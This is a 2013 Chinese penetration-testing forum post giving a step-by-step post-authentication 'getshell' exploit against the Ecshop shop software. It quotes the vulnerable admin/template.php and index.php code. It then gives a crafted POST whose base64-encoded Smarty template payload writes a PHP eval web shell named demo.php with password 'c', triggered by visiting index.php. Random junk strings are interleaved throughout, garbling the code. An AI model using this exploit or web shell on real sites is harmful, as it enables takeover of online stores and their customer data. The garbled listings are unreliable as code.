中国网络渗透测试联盟

标题: Ecshop后台getshell [打印本页]

作者: admin    时间: 2013-1-11 21:33
标题: Ecshop后台getshell
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
1 f3 X; `; D# a. d  A8 [
1 K& r+ E5 w. K而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了4 r" f- B( F6 z5 i5 Y( s( B
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
& i" A2 f# ^- D/ H# w: y1 cadmin/template.php' H) k- t* i! S5 @
' e9 ~& n8 [" m  s
1 if ($_REQUEST['act'] == 'update_library')
; B& ?7 A3 E1 ~' f
" t, c: Z# `' Y9 V3 n, A' Z, P: T5 ^  l2   
1 g1 n, Z) h. D  n8 l) }1 J" T/ c
3 b! p+ n) Q) \% H! j* i- b- Y3 { : Y" E; h1 \4 _) ^

7 ?8 L) |9 o, \0 V( X3 p/ h  u4     check_authz_json('library_manage'); $ a) `2 Y; P% u4 U# q- h

7 l- S# V$ ~) j$ F5 F# G" e3 F0 D5   
& U2 }5 b* |5 j& m4 n2 K
% T- E% n4 |7 S8 r1 T7 S6     $html = stripslashes(json_str_iconv($_POST['html'])); 2 a2 v3 o" |. u6 L" m- o2 }9 r- q7 ~
' o" ~8 X4 }) U$ B" }
7   
& i: m" f0 \0 I& r  O: C& [' ^& j  V
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
& E0 q0 B9 h$ ^) J9 z; a. W9 d. E1 P- r" E0 x
9   
8 n3 G) ~* J3 J0 q
$ V2 n8 V! {* G! d10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
* |/ a% ^& A% q  c6 y" B$ k" j
8 q4 s! v# C% [2 x: x3 e11   
# |: _8 @* b  p( P3 C& K) b1 Y1 l4 f6 e) `! x# w' r6 d
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file)); # g) V: j8 i# p3 c
: o8 l: D4 V* ]. `" v$ s
13   
7 s5 P$ D1 \6 T
0 _- ?; N, O/ h0 S1 T14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 1 ^3 N; S4 x' c9 P
# x+ z, l, u4 x2 O2 r) ~
15     { / y* V3 L  V9 v
7 }9 w6 R2 I( s% M4 C
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
, m( \% q6 t0 T4 @5 `: A
/ D: z' ~2 m/ n4 }17         make_json_result('', $_LANG['update_lib_success']); ) H" m/ c: g- a+ V+ w3 S. L
- v0 b7 Y: s9 @' H7 @4 C! P
18     }
7 w4 V6 q( Q2 b) ~. I
* d, D9 |) R4 }7 `! v19     else : a$ m9 S6 A9 {, ?& v; m) X
6 h: J0 n: m# I# ?; s% W* }5 A
20     { 4 p# Z* H9 ~7 N- I3 f

7 {3 n( e' _! E21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
! K) x$ |+ E. x2 Q' {& ^
) B3 L+ n2 A1 ^- L. a7 u22     } 5 F& L, i; q1 A1 }; d

6 X4 H- P: [5 U+ v6 W/ X23 } ) k) _. P) _1 Z) N% N
: W  K6 [, T9 v% u0 _
那么找个比较方便调用了模板的文件( ^. y* J! _; M5 p
index.php2 [+ s- y2 I1 j6 i% H4 P- h* O
6 p' e; {. t1 K3 _5 B2 k' ~
1 if ($act == 'cat_rec') 5 h- M1 O  I$ o1 N8 u. v

2 ^, ~  m5 [5 v2   
1 d+ S$ |. t# ?
; U% i% a5 @0 C; i2 z8 y3 { $ E9 ^/ A/ I" R1 p1 `: D

; o) W0 h1 ^. G2 f" f4   
- G7 N; h0 }/ Z% c' g
8 k  u2 n: g" j7 n/ P2 o' i5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
3 c& q( p0 i. v2 u, R0 d/ U, q6 H+ P; E( V! E6 ]
6   
1 y" B/ z6 j+ c0 X, f# M
: T- X# r, a. e- P' F7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
- p7 a0 l- Q4 V1 J9 C
5 u9 o$ P. w, s# ^  w( P8   0 r% t  F- u( a

2 w+ _6 [" {6 S0 Q4 b9 ?* W. k9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; , [9 L: d5 V5 n1 L* F, D+ Y
5 H6 X) K$ |- U- w5 W4 X) n1 K# I
10   6 F+ ?% c, z' A+ R/ C
) z1 A+ ]  G4 C. t- P6 C
11     include_once('includes/cls_json.php'); # D% _& K7 l( k# ?2 K1 s

2 E& G& a+ D  k12     [5 B; ~, t0 ]9 H

! p6 f2 G" j- ^/ [/ ]13     $json = new JSON; ! f% H( h* ~; T& u* _1 k% p
4 k6 X! Q4 [4 F
14   
+ @  C* z5 h2 {5 x' ~" X6 m0 e) q: ~
9 N* r( f! O2 `15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
/ H7 u, A0 ^. w0 z  r2 o: U6 E8 Q# @- A, F3 w4 @
16   
, J" h( |- m; S6 v" e
# F- ~* n, ]2 w$ i) K* |17     $children = get_children($cat_id); : w3 J; \) R1 a6 y

% ^1 ^. v& R" T2 d) K; w. Z18   
, Y/ ?3 l) }0 J2 K9 K* G
; V# o! m( Q5 b5 d/ x2 U6 e2 W19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品   q$ A0 k2 E/ Z  Y% }

  x+ ]! ^* f2 e% w! j9 X20   8 _5 A- Z3 y" l! b
& x9 y* J; g3 P! S/ l
21     $smarty->assign('cat_rec_sign', 1); 3 C* F; I6 l  f5 c) e" X$ L
" D" H- P0 g2 {# N% b
22   , m! p4 C+ e3 b; S! d; m
9 f$ [* R& F+ w' U3 R
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
* j4 f) B& d: b; c
* F% d$ t! Z3 r( N% c. v4 i$ i24   
/ @* N& j- |3 b+ H
! V9 D3 \" e, Z9 j4 K/ D$ W25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
! v3 k/ @6 G# ~' ~' l; ?7 q3 r3 [3 {" r4 `& y1 n
26   / {3 A! V7 l# `; C. c

* _: y, s; k: O3 D7 j' u; B! A27         echo $rec_array[$rec_type];
, I/ b/ Q, d4 S* u( h+ q( P+ F4 T  k" r- P
28   3 `& |4 V- B8 Z- E" \) M

0 v% V( w- L7 S. \29     die($json->encode($result));
8 Z$ ?3 O4 O9 I. @- j5 m+ b. f8 V' F- E; F0 f: ^$ x4 H1 `
30   ! J- c. F" F1 n8 U
2 d1 `& E# `( ]: y% ]
31 } ; y/ e( r$ Y0 {0 E( K( u
/ S9 w8 x9 C  u4 {
那么就有利用方法了9 s  \$ ?3 b6 {4 n
post包到http://localhost/ec/admin/template.php?act=update_library
$ r& w: t! ^. H" p/ }9 O! F) UPost内容:
5 w- k7 c& W; q
  @4 I% e# S* l- ]! x" d  v! _8 W- ~1 Z4 E
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
6 Z" d6 z# R+ \* z/ y1 ]3 F9 C' X9 F0 v) _% O- A- p
然后访问http://localhost/ec/index.php?act=cat_rec
/ }' }9 i; i; v' ~1 z2 [
5 W; B1 A% \+ N' Qshel地址:http://localhost/ec/demo.php
% \* [* J2 ?2 W  C4 `密码c
# z! M- u5 o8 ?( C: h2 W& ~
: P, l! L, m9 C) D% f1 p




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2